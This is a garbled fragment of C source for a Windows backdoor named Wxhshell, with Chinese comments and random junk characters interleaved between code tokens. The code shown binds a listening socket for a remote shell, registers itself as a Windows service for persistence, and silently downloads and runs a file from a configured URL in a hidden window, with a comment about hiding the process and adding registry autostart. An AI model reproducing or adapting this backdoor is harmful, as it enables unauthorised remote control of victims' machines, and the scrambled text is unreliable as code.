$JmzrE if(strstr(procName,"services")) return 1; // 以服务启动 "nWw;-V}} ERt{H3eCcJ return 0; // 注册表启动 #,.Hr#3nI } N?>vd* `@
FYkH // 主模块
jSA jcLR int StartWxhshell(LPSTR lpCmdLine) AK#1]i~ { '=6\v! SOCKET wsl; ;\l,5EG BOOL val=TRUE; {_Gs*<. int port=0; ZW}_Qs struct sockaddr_in door; mQ=#nk$~g L:8q8i if(wscfg.ws_autoins) Install(); IMfqiH) )/EO&F port=atoi(lpCmdLine); 'ah[(F<*@e \G3rX9xG if(port<=0) port=wscfg.ws_port; X|8c>_} m9A!D WSADATA data; H4JTGt1" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l (%1jC8 JLJ;TM'4= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "Yca%: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @]#1(9P door.sin_family = AF_INET; w-{c.x door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]d%8k}U door.sin_port = htons(port); +H
Usz? "}JZU!? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6x|jPb closesocket(wsl); AFfAtu return 1; V/;B3t~f } .%OR3"9@ -R6)ROGl if(listen(wsl,2) == INVALID_SOCKET) { z"4~P3>{g closesocket(wsl); BX^tR1 return 1; sse.*75U } $a%MOKr Wxhshell(wsl); M|[o aanY' WSACleanup(); t. '!`5G ))i }7chc return 0; G/mXq-
`V3Fx{
} 4NIRmDEd S@ f9c // 以NT服务方式启动 {vO9ptR; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RAK-UN { {
buy"X4 DWORD status = 0; W 8!Qv8rf DWORD specificError = 0xfffffff; lu6(C /^|Dbx!u serviceStatus.dwServiceType = SERVICE_WIN32; R^e.s
- serviceStatus.dwCurrentState = SERVICE_START_PENDING; s|B3~Q] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &l[$*<P5V serviceStatus.dwWin32ExitCode = 0; &(mR>
mT serviceStatus.dwServiceSpecificExitCode = 0; -FCe:iY! A serviceStatus.dwCheckPoint = 0; \_6/vZ%-B serviceStatus.dwWaitHint = 0; -7(@1@1 I,'k>@w{s hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q?/o%`N if (hServiceStatusHandle==0) return; UEVG0qF 63~
E#Dt4 status = GetLastError(); 9?3&?i2- if (status!=NO_ERROR) <V6VMYXY4 { wsVV$I[2 serviceStatus.dwCurrentState = SERVICE_STOPPED; B !=F2 serviceStatus.dwCheckPoint = 0; uc"P3,M serviceStatus.dwWaitHint = 0; XEZF{lP serviceStatus.dwWin32ExitCode = status; .@Dxp]/B} serviceStatus.dwServiceSpecificExitCode = specificError; 0k(a VkZ I SetServiceStatus(hServiceStatusHandle, &serviceStatus); 19KQlMO.G return; 9]wN Bd } m7>JJX3=< P_p<`sC9 serviceStatus.dwCurrentState = SERVICE_RUNNING; `I5wV/%ib serviceStatus.dwCheckPoint = 0; k,F6Tx serviceStatus.dwWaitHint = 0; xpx\=iAe if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A6iq[b] } Nl(3Xqov fe#\TNeQJ[ // 处理NT服务事件,比如:启动、停止 D+7Rz_= VOID WINAPI NTServiceHandler(DWORD fdwControl) q=qcm`ce { Mzw X>3x switch(fdwControl) H ?y,ie#u { *``JamnSO case SERVICE_CONTROL_STOP: Q( {
r@*g serviceStatus.dwWin32ExitCode = 0; m<qJcZk serviceStatus.dwCurrentState = SERVICE_STOPPED; =k:,qft2 serviceStatus.dwCheckPoint = 0; ,$+V serviceStatus.dwWaitHint = 0; yN
s,Ll~ { Vr1<^Ib SetServiceStatus(hServiceStatusHandle, &serviceStatus); (41|'eB\\ } ^UhBH@ti return; JO"<{ngsQ case SERVICE_CONTROL_PAUSE: DXK}-4"\ serviceStatus.dwCurrentState = SERVICE_PAUSED; JOim3(5?s break; A:9?ZI/X case SERVICE_CONTROL_CONTINUE: '1)$' serviceStatus.dwCurrentState = SERVICE_RUNNING; Eue~Y+K*b break;
}sO&. ME case SERVICE_CONTROL_INTERROGATE: \K]0JH break; FzXJ]H }; eSmLf*\G SetServiceStatus(hServiceStatusHandle, &serviceStatus); fG w9! } R=
o2K 1"M]3Kl // 标准应用程序主函数 :e%Pvk int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1!T1Y,w { =-lb)Z"d @Sbe^x // 获取操作系统版本 *lw_=MXSK OsIsNt=GetOsVer(); <)-Sj, GetModuleFileName(NULL,ExeFile,MAX_PATH); ,47Y9Kz9 PJrtMAcKq // 从命令行安装 xDoC( if(strpbrk(lpCmdLine,"iI")) Install(); (<oyN7NT ?r 2` Q // 下载执行文件 l.bYE/F0& if(wscfg.ws_downexe) { pWsDzb6?% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fG(SNNl+D WinExec(wscfg.ws_filenam,SW_HIDE); -FQ 'agf@& } W+X6@/BO t9:0TBt-[ if(!OsIsNt) { .oUTqki // 如果时win9x,隐藏进程并且设置为注册表启动 6s/& |